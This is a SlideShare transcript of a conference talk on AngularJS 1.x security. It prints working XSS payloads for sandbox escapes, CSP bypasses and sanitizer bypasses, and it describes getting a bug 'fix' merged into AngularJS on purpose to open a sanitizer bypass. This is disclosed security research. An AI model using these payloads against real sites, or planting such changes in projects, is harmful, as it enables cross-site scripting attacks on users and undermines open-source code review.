SlideShare a Scribd company logo
1 of 66
Download to read offline
An Abusive Relationship
with AngularJS
About the Security Adventures with the "Super-Hero"
Framework
A talk by Mario Heiderich
mario@cure53.de || @0x6D6172696F
Godzilla in your DOM
● Dr.-Ing. Mario Heiderich
● Researcher and Post-Doc, Ruhr-Uni Bochum
● PhD Thesis about Client Side Security and Defense
● Founder of Cure53
● Pentest- & Security-Firm located in Berlin
● Security, Consulting, Workshops, Trainings
● Simply the Best Company in the World
● Published Author and Speaker
● Specialized on HTML5, DOM and SVG Security
● JavaScript, XSS and Client Side Attacks
● HTML5 Security Cheatsheet
● And DOMPurify!
● @0x6D6172696F
● mario@cure53.de
Today we want to talk about AngularJS 1.x. 
And how it deals with security.
But why? Is all this relevant?
And most importantly, 
is AngularJS 
the Honey Boo Boo of JavaScript Frameworks?
What is AngularJS?
● Popular JavaScript MVC
● Model-View-Whatever actually
● Self-proclaimed “Superheroic Framework”
● Maintained and recommended by Google
● Polarizing Philosophy
● Ever-growing user-base
● Large rate of adoption
● Heavy traffic on GitHub repository
Why AngularJS
● It's not the first time I've been talking about
AngularJS and its shenanigans.
● We've been whaling on AngularJS for quite
some time actually.
● Here for example.
● Leading to a strange discussion.
● Is it personal? No. The reasons are different.
Relationship Reasons
● It's exposing a large amount of ...self-love.
● Superheroic framework.
● It's changing ways websites work.
● It breaks the API often and makes upgrades
harder.
● It assumes to be smarter than HTML and works
with “markup sugar”.
● It will break everything in upcoming version 2.0.
● We saw yesterday how that will look like.
The Honey Boo Boo of MVC?
Maybe Not
● AngularJS has fairly high security standards.
● The security level is great if the rules are being
followed.
● By developers and maintainers. Both.
● And anything complex running in the browser
must know the browser.
● The web security paradox of layers.
● Network, Server, Browser, Framework, User, …
and all the ways back to the network.
It's better to design your application in such a way that users
cannot change client-side templates. For instance:
Do not mix client and server templates
Do not use user input to generate templates dynamically
Do not run user input through $scope.$eval
Consider using CSP (but don't rely only on CSP)
https://docs.angularjs.org/guide/security
Now, let's be nasty and attack.
But what? 
What shall we have a look at?
Four General Attack-Vectors
● A1: Attacking the Sandbox
● A2: Attacking the Sanitizer
● A3: Attacking the CSP Mode
● A4: Attacking the Codebase
A1
A1: The AngularJS Sandbox
● The AngularJS Sandbox is a weird creature with strange
motivations.
● According to the documents, it's not a security tool.
● It is mostly meant to “get devs off that DOM”.
● Mean, to limit exposure of the original DOM to avoid its
pitfalls.
● The AngularJS sandbox is in place for expressions and
several directives.
● User input reflected in an expression often means
immediate XSS. The sandbox prevents that.
A1: First Bypasses
● Bypassing the sandbox in early AngularJS versions
was trivial.
● {{constructor.constructor('alert(1)')()}}
● That's it. Access the scope object's constructor, next
access constructor again, get Function, done.
● Function('code here')(); // like an eval
● This attack works starting with version AngularJS
1.0 and stops working in 1.2.0.
● Sadly, many sites still employ AngularJS 1.1.x.
● And have difficulties upgrading due to API changes.
Or simply don't care about upgrades.
<!-- Bypassing Sandboxes, Toddler-style --!>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.min.js">
</script>
<div class="ng-app">
{{ constructor.constructor('alert(1)')() }}
</div>
A1: First Fixes
● AngularJS reacted to this and implemented fixes.
Because “no security tool”, right?
● This was done by restricting access to Function (and
other dangerous objects)
● So, we needed to get Function from somewhere
else.
● Somewhere, where AngularJS doesn't notice we
have access to it.
● ES5, Callbacks and __proto__ help here!
A1: More Bypasses
● AngularJS' parser was actually quite smart.
● Bypasses needed to be more creative.
● Finders are Jann Horn, Mathias Karlsson and
Gábor Molnár
● And luckily, we had Object to provide
methods to get Function from.
● Or mentioned callbacks.
● Let's dissect those for a brief moment.
<!-- Jann Horn's Bypass --!>
<html ng-app>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.18/angular.js"
></script>
</head>
<body>
{{
(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor
( _.__proto__,$).value,0,'alert(1)')()
}}
</body>
<!-- A Variation for AngularJS by moi, specifically for 1.2.0 --!>
<html ng-app>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.js"
></script>
</head>
<body>
{{
a="constructor";b={};
a.sub.call.call(b[a].getOwnPropertyDescriptor(
b[a].getPrototypeOf(
a.sub),a).value,0,'alert(1)')()
}}
</body>
<!-- Mathias Karlsson's Bypass -->
<html ng-app>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.js">
</script>
</head>
<body>
{{
toString.constructor.prototype.toString
=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor)
}}
</body>
</html>
<!-- Gábor Molnár's Bypass -->
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.0/angular.js">
</script>
<body ng-app>
{{
!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' +
'alert(42);'
))
);
}}
</body>
</html>
<!-- Bypass via attributes, no user interaction →
<!-- Open that page with #foo in the URL -->
<!doctype html>
<html>
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js"
>
</script>
</head>
<body>
<a id="foo" ng-app ng-
focus="$event.view.location.replace('javascript:document.write(docume
nt.domain)')" contenteditable="true"></a>
</body>
</html>
A1: Extreme Bypasses
● Jann Horn reported another bypass for
1.3.2 and it's insane
<!-- Jann's rather extreme Bypass -->
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.js"></script>
<body ng-app ng-csp>
{{
objectPrototype = ({})[['__proto__']];
objectPrototype[['__defineSetter__']]('$parent', $root.$$postDigest);
$root.$$listenerCount[['constructor']] = 0;
$root.$$listeners = [].map;
$root.$$listeners.indexOf = [].map.bind;
functionPrototype = [].map[['__proto__']];
functionToString = functionPrototype.toString;
functionPrototype.push = ({}).valueOf;
functionPrototype.indexOf = [].map.bind;
foo = $root.$on('constructor', null);
functionPrototype.toString = $root.$new;
foo();
}}
{{
functionPrototype.toString = functionToString;
functionPrototype.indexOf = null;
functionPrototype.push = null;
$root.$$listeners = {};
baz ? 0 : $root.$$postDigestQueue[0]('alert(location)')();
baz = true;''
}}
</body>
</html>
A1: Current State
● What about versions 1.3.2 to latest?
● Any publicly known sandbox bypasses?
● Access to pretty much everything has been
restricted.
● No window, no Function, no Object, no call() or
apply(), no document, no DOM nodes
● And all other interesting things the parser cannot
understand. RegExp, “new”, anonymous functions.
● Is that the end of the road?
● Let's have a look!
<!-- Jann Horn's latest Bypass -->
<html>
<head>
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.js"
></script>
</head>
<body ng-app>
{{
'this is how you write a number properly. also, numbers are basically
arrays.';
0[['__proto__']].toString = [][['__proto__']].pop;
0[['__proto__']][0] = 'alert("TROLOLOLn"+document.location)';
0[['__proto__']].length = 1;
'did you know that angularjs eval parses, then re-stringifies
numbers? :)';
$root.$eval("x=0", $root);
}}
</body>
</html>
<!-- Gareth's Bypasses, fixed in 1.5.0-rc2 -->
1.4.7
{{'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)');}}
1.3.15
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//');}}
1.2.28
{{''.constructor.prototype.charAt=''.valueOf;
$eval("x='"+alert(1)+"'");}}
Read more here:
http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
Note that sandbox bypasses exist 
for the latest version 1.5.0­rc2 as well. 
Will they get fixed? Would it even make sense if 
they got fixed given the state of AngularJS 1.x?
I think no.
A1: User Interaction
● And there is of course variations, the
maintainers cannot really do much about.
● For example copy&paste, my favorite.
<!-- Bypass using Copy&Paste in Firefox -->
<meta charset="UTF-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.min.js">
</script>
<body ng-app="">
<input ng-copy="
$event.preventDefault();
$event.clipboardData.setData('text/html','&lt;div
contenteditable=&quot;false&quot;&gt;&lt;svg&gt;&lt;a
xlink:href=&quot;?&quot;
xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;circle
r=&quot;500&quot; fill=&quot;red&quot;&gt;&lt;/circle&gt;&lt;animate
attributeName=&quot;xlink:href&quot;
from=&quot;javascript:alert(1)&quot; to=&quot;&amp;&quot;
begin=&quot;0&quot;&gt;&lt;/animate&gt;&lt;/a&gt;&lt;/svg&gt;&lt;/div
&gt')
" value="Copy Me">
<div contenteditable>PASTE HERE</div>
</body>
</html>
A2
A2: The Sanitizer
● AngularJS has an integrated HTML sanitizer.
● It's a component called $sanitize.
● It's purpose is to wash away XSS attacks
from a string of HTML.
● And return a clean string of HTML ready for
safe and secure usage.
● There is two major versions, one horrible
version, one that's not so bad.
A2: The Old Sanitizer
● The Old Sanitizer uses an actual HTML parser from
2008.
● That old thing from John E. Resig.
● It's extremely strict, hard to configure, crashes
literally all the time.
● We published a test-case where you can play with it.
● And it can be bypassed if some likely
prerequisites are met.
● Because of Chrome.
● Also, a friendly hat-tip to Gareth Heyes!
Injection:
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><use xlink:href="test.json?callback=%3Csvg%20id
%3D%27rectangle%27%20xmlns%3D%27http%3A//www.w3.org/2000/svg%27%20xmlns%3Axlink%3D
%27http%3A//www.w3.org/1999/xlink%27%20width%3D%27100%27%20height%3D%27100%27%3E
%3Ca%20xlink%3Ahref%3D%27javascript%3Aalert%28location%29%27%3E%3Crect%20x%3D
%270%27%20y%3D%270%27%20width%3D%27100%27%20height%3D%27100%27%20/%3E%3C/a
%3E%3C/svg%3E#rectangle"></use></svg>
Chrome ignores content type for SVG <use>!
A2: The New Sanitizer
● The New Sanitizer is still ugly. But it uses the DOM
instead of a parser.
● Namely, document.implementation, just like
DOMPurify
● It is still very strict, even more so since now it
forbids SVG by default. Boo.
● Early versions did not and were “bypassable”.
● And SVG is admittedly tricky to handle.
● New versions do and are still “bypassable”.
● Because of Chrome. Again.
● Cheers, Roman Shafigullin.
Affected Characters:
&#5760; &#8192; &#8193; &#8194;
&#8195; &#8196; &#8197; &#8198;
&#8199; &#8200; &#8201; &#8202;
&#8232; &#8287;
A classic mXSS in Chrome!
A3
A3: Attacking the CSP Mode
● Contrary to many other frameworks, AngularJS works
well together with CSP.
● CSP? Content Security Policy.
● The wannabe “XSS Killer”.
● And it has to, otherwise it wouldn't be deployable in
extensions and alike.
● Its compatibility with CSP is a strength and a
weakness at the same time.
● We are interested in the latter of course.
A3: Early CSP Bypasses
● The first spotted bypasses were trivial to say the
least. Just use Framework features.
● Take a website with strong CSP and older AngularJS.
● Find an injection.
● Don't do "onclick="alert(1)"
● But instead do "ng-click="$event.view.alert(1)".
● Because $event leaks window via view.
● This works until version 1.1.5.
<?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
?><html ng-app ng-csp>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/angular.js"
></script>
</head>
<body>
<h1 ng-click="$event.view.alert(1)">XSS</h1>
<h1 ng:click="$event.view.alert(2)">XSS</h1>
<h1 x-ng-click="$event.view.alert(3)">XSS</h1>
<h1 data-ng-click="$event.view.alert(4)">XSS</h1>
<h1 _-_-_-ng_-_-_click="$event.view.alert(5)">XSS</h1>
</body>
</html>
A3: Fixes and new Bypasses
● Why not use the sandbox here as well?
● AngularJS started to prevent access to window and
other properties.
● So we would do it indirectly, abusing a
Chrome flaw, with the help of Blob.
● But for Blob we would need the “new” operator
and AngularJS doesn't parse that.
● So we need to resort to using ES6 and the brand
new Reflect API.
● This works until version 1.3.1 by the way.
● And latest Chrome supports ES6's Reflect
API! Yay :D
<?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
?><html ng-app ng-csp>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.1/angular.js"
></script>
</head>
<body>
<h1 ng-click="
$event.view.location.replace($event.view.URL.createObjectURL($event.
view.Reflect.construct( $event.view.Blob,
[['<script>alert(1)</script>'],{type:'text/html'}])))
">XSS</h1>
<!-- without CSP we can of course do this -->
<h1 ng-
click="$event.view.location.replace('javascript:alert(1)')">XSS</h1>
</body>
<!-- read from bottom to top -->
<h1 ng-click="
$event.view.location.replace( // 4. call location.replace
$event.view.URL.createObjectURL( // 3. create Blob URL
$event.view.Reflect.construct( // 2. get around “new”
$event.view.Blob,
[['<script>alert(1)</script>'],
{type:'text/html'}] // 1. build a Blob
)
)
);
">XSS</h1>
A3: Universal CSP Bypass
● There's another bypass they cannot easily fix.
● It works where applications use the Google CDN.
● And it relates to a collision check they
implemented. Only too late.
● Because it landed in 1.2.15 and newer.
● “WARNING: Tried to load angular more than once.”
● And essentially enables a downgrade attack.
● That will, if Google CDN is white-listed, universally
bypass CSP. Don't white-list that CDN.
● Just bring the old bypasses back!
<?php
header('Content-Security-Policy: default-src 'self'
ajax.googleapis.com');
?><html ng-app ng-csp>
<head>
<meta charset="utf-8">
<script
src="//ajax.googleapis.com/ajax/libs/angularjs/1.4.9/angular.js"
></script>
</head>
<body>
<h1
class=""><script/src=//ajax.googleapis.com/ajax/libs/angularjs/1.1.5/
angular.js></script><h1/ng-
click=$event.view.alert(1)//>CLICKME"></h1>
</body>
A4
A4: Attacking the Code-Base
● What does an attacker do if no exploitable bugs
can be found?
● Of course. We attack the project itself.
● And use the power of open source to introduce
changes that cause the bugs we want.
● And thereby get both praise for reporting a bug
and the desired exploit for free.
● We did that to AngularJS.
● Google Security knew in advance,
AngularJS did not.
A4: The Con-Setup
● We needed a subtle “bug” that upon being fixed would
raise a security issue.
● Or smuggle in a pull request that looks unsuspicious
enough to pass QA.
● The first option is unlikely, like a lottery win.
● The second option is a bit more risky, what if we get
detected?
● Well.
● We were lucky, that exact subtle “bug” existed
and it did in the $sanitizer component.
● Let's have a look!
A4: The Bug
// SVG attributes (without "id" and "name" attributes)
// https://wiki.whatwg.org/wiki/Sanitization_rules#svg_Attributes
var svgAttrs = makeMap('accent-height,accumulate,additive,alphabetic,arabic-form,ascent,' +
'attributeName,attributeType,baseProfile,bbox,begin,by,calcMode,cap-height,class,color,' +
'color-rendering,content,cx,cy,d,dx,dy,descent,display,dur,end,fill,fill-rule,font-family,' +
'font-size,font-stretch,font-style,font-variant,font-weight,from,fx,fy,g1,g2,glyph-name,' +
'gradientUnits,hanging,height,horiz-adv-x,horiz-origin-x,ideographic,k,keyPoints,' +
'keySplines,keyTimes,lang,marker-end,marker-mid,marker-start,markerHeight,markerUnits,' +
'markerWidth,mathematical,max,min,offset,opacity,orient,origin,overline-position,' +
'overline-thickness,panose-1,path,pathLength,points,preserveAspectRatio,r,refX,refY,' +
'repeatCount,repeatDur,requiredExtensions,requiredFeatures,restart,rotate,rx,ry,slope,stemh,' +
'stemv,stop-color,stop-opacity,strikethrough-position,strikethrough-thickness,stroke,' +
'stroke-dasharray,stroke-dashoffset,stroke-linecap,stroke-linejoin,stroke-miterlimit,' +
'stroke-opacity,stroke-width,systemLanguage,target,text-anchor,to,transform,type,u1,u2,' +
'underline-position,underline-thickness,unicode,unicode-range,units-per-em,values,version,' +
'viewBox,visibility,width,widths,x,x-height,x1,x2,xlink:actuate,xlink:arcrole,xlink:role,' +
'xlink:show,xlink:title,xlink:type,xml:base,xml:lang,xml:space,xmlns,xmlns:xlink,y,y1,y2,' +
'zoomAndPan');
Fun fact, those attributes were considered safe because of a
deprecated Wiki page from WHATWG:
https://wiki.whatwg.org/wiki/Sanitization_rules
A4: The Bug
angular.forEach(attrs, function(value, key) {
var lkey = angular.lowercase(key); // < here!
var isImage = (tag === 'img' && lkey === 'src') || (lkey === 'background');
if (validAttrs[lkey] === true &&
(uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));
out('"');
}
}
);
As we can see, the lowercasing ruins the test – and even valid
attributes cannot pass. What a coincidence, that this happens
exactly for dangerous attributes here! Thanks, SVG!
A4: The Execution
● So, if that specific behavior observed in
the sanitizer blocks a bypass...
● We need to file a bug to get it fixed!
● The bug. Not the bypass :)
● So we did that.
● And it got accepted!
A4: The Bypass
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href"
begin="0" from="javascript:alert(1)" to="&" />
</a>
</svg>
We use an animation to animate a link's href attribute from a
benign, over a dangerous to a harmless but invalid state,
causing the browser to jump back to the malicious state. Neat.
A4: The Aftermath
● We reported the issue to Google Security.
● They informed the AngularJS Team.
● Nothing happened for weeks.
● The next release came close. Danger!
● We pinged again.
● They finally fixed our bug.
● Phew :)
● Now, note that file contains a big comment warning
the developers.
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Any commits to this file should be reviewed with security in mind. *
* Changes to this file can potentially create security vulnerabilities. *
* An approval from 2 Core members with history of modifying *
* this file is required. *
* *
* Does the change somehow allow for arbitrary javascript to be executed? *
* Or allows for someone to change the prototype of built-in objects? *
* Or gives undesired access to variables likes document or window? *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
And, in case you hate
us a bit for doing that
stunt...
We even got
Bug Bounty
for that in
the end!
:D
A Quick Conclusion
● AngularJS does in fact extend the attack surface dramatically.
Older versions even more.
● Meanwhile, some things are done right. Others can almost
never be fixed again.
● Developers have to know pitfalls to avoid them.
● And we find MANY of these in penetration tests: MANY.
● And pitfalls often are unfairly hard to detect and avoid.
Especially when CSP is involved.
● Many sites still use older versions. Many.
● Open Source can be risky if the traction is high.
● Google's team already does well though.
● But Google could do better in helping developers.
The End
● Question? Comments?
● Thanks a lot!
● Shouts go out to
● Gareth McHeyes
● Jann Horn
● Mathias Karlsson
● Gábor Molnár
● David Ross
● Eduardo Vela
● The AngularJS team for so much XSS :D

More Related Content

What's hot

Django for Beginners
Django for BeginnersDjango for Beginners
Django for BeginnersJason Davies
 
Introduction to Node.js
Introduction to Node.jsIntroduction to Node.js
Introduction to Node.jsRob O'Doherty
 
JavaScript & Dom Manipulation
JavaScript & Dom ManipulationJavaScript & Dom Manipulation
JavaScript & Dom ManipulationMohammed Arif
 
Service workers
Service workersService workers
Service workersjungkees
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionSoroush Dalili
 
Django Framework Overview forNon-Python Developers
Django Framework Overview forNon-Python DevelopersDjango Framework Overview forNon-Python Developers
Django Framework Overview forNon-Python DevelopersRosario Renga
 
Introduction to RxJS
Introduction to RxJSIntroduction to RxJS
Introduction to RxJSBrainhub
 
JavaScript - Chapter 12 - Document Object Model
  JavaScript - Chapter 12 - Document Object Model  JavaScript - Chapter 12 - Document Object Model
JavaScript - Chapter 12 - Document Object ModelWebStackAcademy
 
Introduction to jest
Introduction to jestIntroduction to jest
Introduction to jestpksjce
 
Asynchronous JavaScript Programming
Asynchronous JavaScript ProgrammingAsynchronous JavaScript Programming
Asynchronous JavaScript ProgrammingHaim Michael
 

What's hot (20)

React render props
React render propsReact render props
React render props
 
jQuery for beginners
jQuery for beginnersjQuery for beginners
jQuery for beginners
 
Django for Beginners
Django for BeginnersDjango for Beginners
Django for Beginners
 
Intro to React
Intro to ReactIntro to React
Intro to React
 
Introduction to Node.js
Introduction to Node.jsIntroduction to Node.js
Introduction to Node.js
 
Django
DjangoDjango
Django
 
JQuery introduction
JQuery introductionJQuery introduction
JQuery introduction
 
NodeJS for Beginner
NodeJS for BeginnerNodeJS for Beginner
NodeJS for Beginner
 
JavaScript & Dom Manipulation
JavaScript & Dom ManipulationJavaScript & Dom Manipulation
JavaScript & Dom Manipulation
 
Service workers
Service workersService workers
Service workers
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 
Django Framework Overview forNon-Python Developers
Django Framework Overview forNon-Python DevelopersDjango Framework Overview forNon-Python Developers
Django Framework Overview forNon-Python Developers
 
Introduction to RxJS
Introduction to RxJSIntroduction to RxJS
Introduction to RxJS
 
Javascript
JavascriptJavascript
Javascript
 
Java Script ppt
Java Script pptJava Script ppt
Java Script ppt
 
JavaScript - Chapter 12 - Document Object Model
  JavaScript - Chapter 12 - Document Object Model  JavaScript - Chapter 12 - Document Object Model
JavaScript - Chapter 12 - Document Object Model
 
Introduction to jest
Introduction to jestIntroduction to jest
Introduction to jest
 
GraphQL
GraphQLGraphQL
GraphQL
 
Asynchronous JavaScript Programming
Asynchronous JavaScript ProgrammingAsynchronous JavaScript Programming
Asynchronous JavaScript Programming
 
Modern JS with ES6
Modern JS with ES6Modern JS with ES6
Modern JS with ES6
 

Similar to An Abusive Relationship with AngularJS

In the DOM, no one will hear you scream
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you screamMario Heiderich
 
Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)ColdFusionConference
 
An overview of node.js
An overview of node.jsAn overview of node.js
An overview of node.jsvaluebound
 
ITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSOrtus Solutions, Corp
 
Nodejs web service for starters
Nodejs web service for startersNodejs web service for starters
Nodejs web service for startersBruce Li
 
jQuery Features to Avoid
jQuery Features to AvoidjQuery Features to Avoid
jQuery Features to Avoiddmethvin
 
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksMario Heiderich
 
Five android architecture
Five android architectureFive android architecture
Five android architectureTomislav Homan
 
The State of the Veil Framework
The State of the Veil FrameworkThe State of the Veil Framework
The State of the Veil FrameworkVeilFramework
 
Sandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedSandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedMinded Security
 
Xamarin.android memory management gotchas
Xamarin.android memory management gotchasXamarin.android memory management gotchas
Xamarin.android memory management gotchasAlec Tucker
 
GDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSGDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSNicolas Embleton
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack
 
Globant Week Cali - Entendiendo el desarrollo Front-end del mundo moderno.
Globant Week Cali - Entendiendo el desarrollo Front-end del mundo moderno.Globant Week Cali - Entendiendo el desarrollo Front-end del mundo moderno.
Globant Week Cali - Entendiendo el desarrollo Front-end del mundo moderno.Globant
 

Similar to An Abusive Relationship with AngularJS (20)

In the DOM, no one will hear you scream
In the DOM, no one will hear you screamIn the DOM, no one will hear you scream
In the DOM, no one will hear you scream
 
Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)Crash Course in AngularJS + Ionic (Deep dive)
Crash Course in AngularJS + Ionic (Deep dive)
 
An overview of node.js
An overview of node.jsAn overview of node.js
An overview of node.js
 
ITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJSITB2015 - Crash Course in Ionic + AngularJS
ITB2015 - Crash Course in Ionic + AngularJS
 
Us 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimesUs 17-krug-hacking-severless-runtimes
Us 17-krug-hacking-severless-runtimes
 
Nodejs web service for starters
Nodejs web service for startersNodejs web service for starters
Nodejs web service for starters
 
jQuery Features to Avoid
jQuery Features to AvoidjQuery Features to Avoid
jQuery Features to Avoid
 
Dojo (QCon 2007 Slides)
Dojo (QCon 2007 Slides)Dojo (QCon 2007 Slides)
Dojo (QCon 2007 Slides)
 
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating FrameworksJSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
JSMVCOMFG - To sternly look at JavaScript MVC and Templating Frameworks
 
Intro to AngularJs
Intro to AngularJsIntro to AngularJs
Intro to AngularJs
 
Five android architecture
Five android architectureFive android architecture
Five android architecture
 
The State of the Veil Framework
The State of the Veil FrameworkThe State of the Veil Framework
The State of the Veil Framework
 
Dust.js
Dust.jsDust.js
Dust.js
 
Sandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession LearnedSandboxing JS and HTML. A lession Learned
Sandboxing JS and HTML. A lession Learned
 
Headless Android
Headless AndroidHeadless Android
Headless Android
 
Xamarin.android memory management gotchas
Xamarin.android memory management gotchasXamarin.android memory management gotchas
Xamarin.android memory management gotchas
 
GDayX - Advanced Angular.JS
GDayX - Advanced Angular.JSGDayX - Advanced Angular.JS
GDayX - Advanced Angular.JS
 
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFGStHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
 
Globant Week Cali - Entendiendo el desarrollo Front-end del mundo moderno.
Globant Week Cali - Entendiendo el desarrollo Front-end del mundo moderno.Globant Week Cali - Entendiendo el desarrollo Front-end del mundo moderno.
Globant Week Cali - Entendiendo el desarrollo Front-end del mundo moderno.
 
Fuzzing - Part 2
Fuzzing - Part 2Fuzzing - Part 2
Fuzzing - Part 2
 

More from Mario Heiderich

Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Mario Heiderich
 
Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillMario Heiderich
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0Mario Heiderich
 
The Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesThe Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesMario Heiderich
 
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...Mario Heiderich
 
Dev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityDev and Blind - Attacking the weakest Link in IT Security
Dev and Blind - Attacking the weakest Link in IT SecurityMario Heiderich
 
HTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyHTML5 - The Good, the Bad, the Ugly
HTML5 - The Good, the Bad, the UglyMario Heiderich
 
I thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupI thought you were my friend - Malicious Markup
I thought you were my friend - Malicious MarkupMario Heiderich
 
The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010The Future of Web Attacks - CONFidence 2010
The Future of Web Attacks - CONFidence 2010Mario Heiderich
 
JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009JavaScript From Hell - CONFidence 2.0 2009
JavaScript From Hell - CONFidence 2.0 2009Mario Heiderich
 
The Ultimate IDS Smackdown
The Ultimate IDS SmackdownThe Ultimate IDS Smackdown
The Ultimate IDS SmackdownMario Heiderich
 
I thought you were my friend!
I thought you were my friend!I thought you were my friend!
I thought you were my friend!Mario Heiderich
 
Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Generic Attack Detection - ph-Neutral 0x7d8
Generic Attack Detection - ph-Neutral 0x7d8Mario Heiderich
 

More from Mario Heiderich (14)

Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
Copy & Pest - A case-study on the clipboard, blind trust and invisible cross-...
 
Scriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the SillScriptless Attacks - Stealing the Pie without touching the Sill
Scriptless Attacks - Stealing the Pie without touching the Sill
 
Locking the Throneroom 2.0
Locking the Throneroom 2.0Locking the Throneroom 2.0
Locking the Throneroom 2.0
 
The Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG FilesThe Image that called me - Active Content Injection with SVG Files
The Image that called me - Active Content Injection with SVG Files
 
Locking the Throne Room - How ES5+ might change views on XSS and Client Side ...
